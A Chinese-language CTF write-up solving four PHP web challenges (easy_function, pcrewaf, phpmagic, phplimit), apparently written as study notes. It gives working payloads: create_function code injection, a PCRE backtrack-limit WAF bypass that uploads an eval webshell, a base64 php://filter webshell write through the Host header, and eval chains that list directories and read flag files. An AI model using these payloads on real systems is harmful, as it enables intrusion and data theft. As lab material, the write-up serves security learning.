1.easy_function
代碼如下
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
這段代碼很簡單,首先判斷有沒有傳入,沒有傳入的話就爲空,然後正則匹配,你輸入的action變量首字符不能是字母,數字。
如何繞過正則呢,可以投機一下,直接fuzz測試,結果爲\
,爲什麼是這個呢?因爲在php中,\
是函數的默認命名空間。那如何執行命令呢,可以用create_function()這個函數,php手冊這樣介紹的。
示例如下:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
我們可以控制第二個參數,這樣就能getflag了。
<?php
create_function('$a,$b', 'return 1;} phpinfo();//');
這個會返回phpinfo的結果
最終payload
先讀取文件名
2.pcrewaf
代碼如下
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
這段代碼直接爲你創造了php,但是輸入的內容要繞過正則匹配,<?php後面如果有(`;?>就會被匹配到。如何繞過這個呢?這裏繞過姿勢真的騷,p牛文章裏有詳細介紹。
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
正則匹配分爲兩種:DFA模式和NFA模式 ,其中NFA會進行回溯,其中回溯次數有最大限制
php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"
如果超過了這個,就會返回flase
php > var_dump(preg_match('/<\?.*[(`;?>].*/is','<? @eval($_POST[‘ha’]);//'.str_repeat('c',1000000)));
bool(false)
因此造成了繞過。
payload.php 內容爲
運行生成upload.txt
然後curl過去
最終getflag
http://xxx.com/data/xxxxx/x.php?ha=var_dump(scandir('../../../'));
http://xxx.com/data/xxxxx/x.php?ha=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
學習了,學習了。
三.phpmagic
代碼如下:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
我們可以傳domain,傳log_name,但是過濾的卻很嚴格,讓人難以入手,我們一步一步來。
1.domain參數,首先我們肯定是不能直接傳一句話進去的,那我們想一想是不是可以base64或者其他方式加密一下,但是加密後,又無法解密,還是難以利用。
這個時候想到file_get_contents可以用php僞協議讀取,那麼file_put_contents是否也支持僞協議呢,然後本地試驗了一下,發現還真可以,那麼domain這個問題解決了。
2.log_name參數,代碼中我們可以知道log_name是log_name組成的,那麼查一下手冊就可以知道,server_name是host的值,所以我們只要改變host的值就可以實現php僞協議寫入。
3.如何繞過文件名檢查呢?可以用1.php/. 來繞過。
4.開始上傳
php > echo base64_encode('<?php @eval($_REQUEST["666"]);?>');
PD9waHAgQGV2YWwoJF9SRVFVRVNUWyI2NjYiXSk7Pz4=
burp發包
但是我訪問hello.php卻什麼都沒有呢????這裏有一個坑點,就是php中base64在解碼的時候,如果有除了這64個字符之外的字符,就會直接跳過,=等號只能放在最後面,但是顯然在文件中=號不是在最後的,所以上傳的時候不能加=號。
最後得到flag
這一個題目包含了很多知識點,自己還是tcl,學習了。
四.phplimit
題目代碼很簡單
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
這個代碼很簡單,正則匹配的(?R),這個意思是重複前面的,也就是這個正則只能匹配形如這樣的,fun(func());
,哎 自己還是太菜了,看了師傅們的wp,學習了很多。
解法1:
get_defined_vars函數,這個函數能返回已定義變量所組成的數組。其中就有$_GET和 $_POST。那麼我們就可以發傳入一個參數,然後用get_defined_vars這個函數來獲取。
payload如下:
?code=eval(next(current(get_defined_vars())));&a=print_r(scandir(getcwd()));
解法2:
session_id()函數,用來獲取當前用戶的phpsessid。
session_start() 會創建新會話或者重用現有會話。如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID,則會重用現有會話。
hex2bin — 轉換十六進制字符串爲二進制字符串。
利用這三個函數我們就可以進行一些操作。
解法3:
dirname函數給出一個包含有指向一個文件的全路徑的字符串,本函數返回去掉文件名後的目錄名。
chdir函數將目錄切換到當前目錄。
例如:
var_dump(getcwd()); // /phpstudy/www/123
var_dump(chdir(dirname(getcwd())); // /phpstudy/www
因此我們可以構造payload:
var_dump(scandir(dirname(chdir(dirname(getcwd())))));
得到
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
最終payload
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));